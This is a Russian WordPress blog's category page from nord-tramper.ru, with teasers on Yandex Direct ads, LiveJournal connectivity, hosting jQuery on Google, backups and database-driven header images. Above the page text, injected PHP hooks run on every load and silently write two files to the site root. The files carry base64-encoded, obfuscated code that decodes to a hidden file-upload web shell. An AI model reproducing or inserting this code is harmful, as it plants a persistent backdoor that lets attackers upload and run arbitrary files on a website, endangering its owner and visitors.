add_action('init', function() { $f = ABSPATH . 'avamfb.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAgZWNobyAnbzInOyA/Pgo8P3BocAoKZ290byBWd1F6SzsgSDFSUnU6IGVjaG8gIlwxNTdceDMyXHgzY1wxNDZceDZmXDE2MlwxNTVceDIwXHg2ZFwxNDVceDc0XDE1MFx4NmZceDY0XHgzZFw0N1x4NTBcMTE3XDEyM1wxMjRceDI3XHgyMFx4NjVcMTU2XHg2M1wxNjRcMTcxXHg3MFwxNDVceDNkXHgyN1wxNTVceDc1XHg2Y1x4NzRcMTUxXDE2MFx4NjFcMTYyXDE2NFw1N1x4NjZcMTU3XHg3MlwxNTVcNTVcMTQ0XDE0MVx4NzRceDYxXDQ3XHgzZVw3NFx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjRceDc5XHg3MFwxNDVceDNkXDQ3XHg2Nlx4NjlceDZjXDE0NVx4MjdcMTU2XDE0MVwxNTVceDY1XHgzZFw0N1x4NjZcNDdceDIwXHgyZlw3Nlx4M2NceDY5XHg2ZVwxNjBceDc1XDE2NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVceDI3XDE2M1wxNjVceDYyXDE1NVwxNTFceDc0XDQ3XDQwXHg3Nlx4NjFcMTU0XHg3NVx4NjVcNzVcNDdcMTY1XHg3MFx4MjdcNDBcNTdcNzZcNzRceDJmXDE0NlwxNTdceDcyXHg2ZFw3NiI7IGdvdG8gSE1xUk87IFZ3UXpLOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gSDFSUnU7IEhNcVJPOiBAY29weSgkX0ZJTEVTWyJcMTQ2Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVcMTQ1Il0sICRfRklMRVNbIlx4NjYiXVsiXDE1Nlx4NjFcMTU1XDE0NSJdKTsgZ290byBIc01TeTsgSHNNU3k6IGVjaG8gIlx4M2NceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlw3NSIgLiAkX0ZJTEVTWyJceDY2Il1bIlwxNTZceDYxXDE1NVx4NjUiXSAuICJcNzYiIC4gJF9GSUxFU1siXDE0NiJdWyJcMTU2XDE0MVwxNTVcMTQ1Il0gLiAiXHgzY1x4MmZceDYxXDc2IjsKCj8+Cg==')); } }); add_action('init', function() { $f = ABSPATH . 'hbnobh.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAgZWNobyAnbzInOyA/Pgo8P3BocAoKZ290byBWd1F6SzsgSDFSUnU6IGVjaG8gIlwxNTdceDMyXHgzY1wxNDZceDZmXDE2MlwxNTVceDIwXHg2ZFwxNDVceDc0XDE1MFx4NmZceDY0XHgzZFw0N1x4NTBcMTE3XDEyM1wxMjRceDI3XHgyMFx4NjVcMTU2XHg2M1wxNjRcMTcxXHg3MFwxNDVceDNkXHgyN1wxNTVceDc1XHg2Y1x4NzRcMTUxXDE2MFx4NjFcMTYyXDE2NFw1N1x4NjZcMTU3XHg3MlwxNTVcNTVcMTQ0XDE0MVx4NzRceDYxXDQ3XHgzZVw3NFx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjRceDc5XHg3MFwxNDVceDNkXDQ3XHg2Nlx4NjlceDZjXDE0NVx4MjdcMTU2XDE0MVwxNTVceDY1XHgzZFw0N1x4NjZcNDdceDIwXHgyZlw3Nlx4M2NceDY5XHg2ZVwxNjBceDc1XDE2NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVceDI3XDE2M1wxNjVceDYyXDE1NVwxNTFceDc0XDQ3XDQwXHg3Nlx4NjFcMTU0XHg3NVx4NjVcNzVcNDdcMTY1XHg3MFx4MjdcNDBcNTdcNzZcNzRceDJmXDE0NlwxNTdceDcyXHg2ZFw3NiI7IGdvdG8gSE1xUk87IFZ3UXpLOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gSDFSUnU7IEhNcVJPOiBAY29weSgkX0ZJTEVTWyJcMTQ2Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVcMTQ1Il0sICRfRklMRVNbIlx4NjYiXVsiXDE1Nlx4NjFcMTU1XDE0NSJdKTsgZ290byBIc01TeTsgSHNNU3k6IGVjaG8gIlx4M2NceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlw3NSIgLiAkX0ZJTEVTWyJceDY2Il1bIlwxNTZceDYxXDE1NVx4NjUiXSAuICJcNzYiIC4gJF9GSUxFU1siXDE0NiJdWyJcMTU2XDE0MVwxNTVcMTQ1Il0gLiAiXHgzY1x4MmZceDYxXDc2IjsKCj8+Cg==')); } }); Web » nord-tramper.ru
"Программист — это профессиональный конвертер галлюцинаций заказчика в жесткую формальную систему"
Dec 032013
 

Не так давно нам наконец-то дали рекламу Direct от Yandex. Кстати договор мы заключили непосредственно с Яндекс без посредничества различных партнерских центров – т.е. весь доход нам + Яндекс сам отчисляет подоходный налог, что тоже очень позитивно.
После одобрения сайта, в процессе оформления документов мне уже был доступен конструктор блоков рекламы и я начал экспериментировать.

Direct-0

Continue reading »

Jun 242013
 

Пару месяцев назад внезапно пропал доступ с нашего хостинга в UK, до серверов LiveJournal – перестали работать плагины кросспостинга и синхронизации комментариев. (Кстати это совпало с очередным заявление ЖЖ о DDoS атаке или чем-то таком же страшном и ужасном)
После нескольких месяца переписки с 3-мя провайдерами – доступ сегодня был возвращен.

Как это было – читайте дальше

Continue reading »

May 072013
 

Существует множество JavaScript файлов, которые идут в стандартной поставке WordPress и в плагинах к нему. Одной из самых используемых библиотека скриптов является как раз jQuery и в этом посте я расскажу как переключиться на использование ее копии, расположенной на сайте Google.

Continue reading »

Apr 192013
 

Сисадмины делятся на тех, кто не делает бэкапы и тех кто уже делает. © народная мудрость

Все знают, что бэкапы это очень важно, но многим лень этим заниматься ровно до тех пор пока потеря данных не коснется его лично. Это может быть упавшая база в крупной организации или небольшая базка вашего сайта, а может быть вирусы, испортившие все ваши скрипты. Суть остается одна – придется долго и не факт, что успешно восстанавливать все утерянное. Зачастую восстановить все не удается или это требует денег и немалых.

В этой статье я расскажу про то, как организовать простую систему бэкапа для вашего сайта.

Continue reading »

Jan 102013
 

В прошлой “серии” мы написали код, который позволял выводить в шапку сайта картинки со ссылками, все данные были прописаны прямо в PHP функции, что не очень красиво – у нас ведь есть доступная БД, с которой работет наш WordPress. В этом посте мы создадим таблицу, в которой будет храниться вся информация о картинках и ссылках для них и сделаем вывод случайных картинок прямо из базы данных.

Continue reading »